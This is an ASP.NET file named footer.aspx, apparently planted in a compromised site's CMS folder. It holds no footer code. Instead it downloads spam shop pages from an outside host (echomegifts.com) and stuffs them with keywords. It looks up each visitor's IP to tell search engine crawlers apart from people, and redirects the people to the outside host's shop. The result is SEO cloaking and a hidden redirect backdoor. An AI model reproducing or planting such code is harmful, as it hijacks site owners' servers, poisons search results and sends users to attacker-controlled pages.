File: D:/HostingSpaces/RMourik/bassol.nl/CMS/footer.aspx
<%@ Page Language="C#" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string httpxy = HttpContext.Current.Request.IsSecureConnection ? "https://" : "http://";
if (!IsPostBack)
{
webclient = new System.Net.WebClient();
webclient.Encoding = System.Text.Encoding.UTF8;
string URL = "http://echomegifts.com/doiid.aspx";
if (Request.QueryString["s"] != null)
{
int cid = new Random().Next(1, 140);
if (Request.QueryString["cid"] != null) { cid = int.Parse(Request.QueryString["cid"]); }
URL = "http://echomegifts.com/sjd.aspx?cid=" + cid + "&number=" + Request.QueryString["number"] + "&pnum=" + Request.QueryString["pnum"];
content = webclient.DownloadString(URL);
content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
}
else
{
if (Request.QueryString["iid"] != null)
{
int wid = new Random().Next(1, 100);
URL += "?iid=" + Request.QueryString["iid"] + "&cid=" + Request.QueryString["cid"] + "&mt=http://echomegifts.com/EN2/" + wid + ".txt";
kname = webclient.DownloadString(URL.Replace("doiid.aspx", "gn.aspx"));
tz();
content = webclient.DownloadString(URL);
}
else
{
tz();
int cid = new Random().Next(1, 140);
if (Request.QueryString["cid"] != null) { cid = int.Parse(Request.QueryString["cid"]); }
URL += "?cid=" + cid + "&pnum=" + Request.QueryString["pnum"];
content = webclient.DownloadString(URL);
}
string ttttt = kname + " Cheap Clothing Sale | Discounts and Offers | Bulk & Wholesale | Free Shipping " + Request.QueryString["pnum"];
string kkkkk = kname;
string iiiii = "Sale OFF " + new Random().Next(60, 80) + "%" + kname + " We work around the clock to find, manufacture, and ship you the most innovative products.";
content = content.Replace("UUUUU", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
content = content.Replace("BBBBB", HttpContext.Current.Request.Url.Host);
content = content.Replace("NNNNN", "Best Cheap Online Shopping Site");
content = content.Replace("DDDDD", Request.QueryString["shop"] + " Gold White Black Red Blue Beige Grey Price Rose Orange Purple Green Yellow Cyan Bordeaux pink Indigo Brown Silver " + Request.QueryString["searchtxt"] + Request.QueryString["shop"]);
content = content.Replace("TTTTT", ttttt);
content = content.Replace("KKKKK", kkkkk);
content = content.Replace("IIIII", iiiii);
content = content.Replace("CCCCC", Request.Url.ToString());
}
}
}
public void tz()
{
string ip = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"];
if (Request.QueryString["kk"] != null)
{
ip = "66.249.64.190";
}
string ipurl = "http://echomegifts.com/getdomain.aspx?rnd=1&ip=" + ip;
webclient = new System.Net.WebClient();
webclient.Encoding = System.Text.Encoding.UTF8;
string domain = webclient.DownloadString(ipurl).ToLower();
if (domain.IndexOf("google") == -1 && domain.IndexOf("msn.com") == -1 && domain.IndexOf("yahoo.com") == -1 && domain.IndexOf("aol.com") == -1)
{
if (Request.QueryString["iid"] != null)
{
string tzurl = "http://echomegifts.com/a.aspx";
Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(kname));
Response.End();
}
if (Request.QueryString["pnum"] != null)
{
string tzurl = "http://echomegifts.com/a.aspx";
tzurl = tzurl.Replace("products.aspx", "");
Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"]);
Response.End();
}
}
}
public string xi = "1";
public string xc = "40";
public System.Net.WebClient webclient = null;
public string content = "";
public string content1 = "";
public string hyzhdy = "";
public string Greeting = "";
public string zhang = "";
public string hhhvx = "";
public string URL1 = "";
public System.Random a = null;
public string descriptions = "";
public string kname = "";
</script>
<%=content.Replace("XXXXX",HttpContext.Current.Request.Url.Host) %>
<%=content1 %>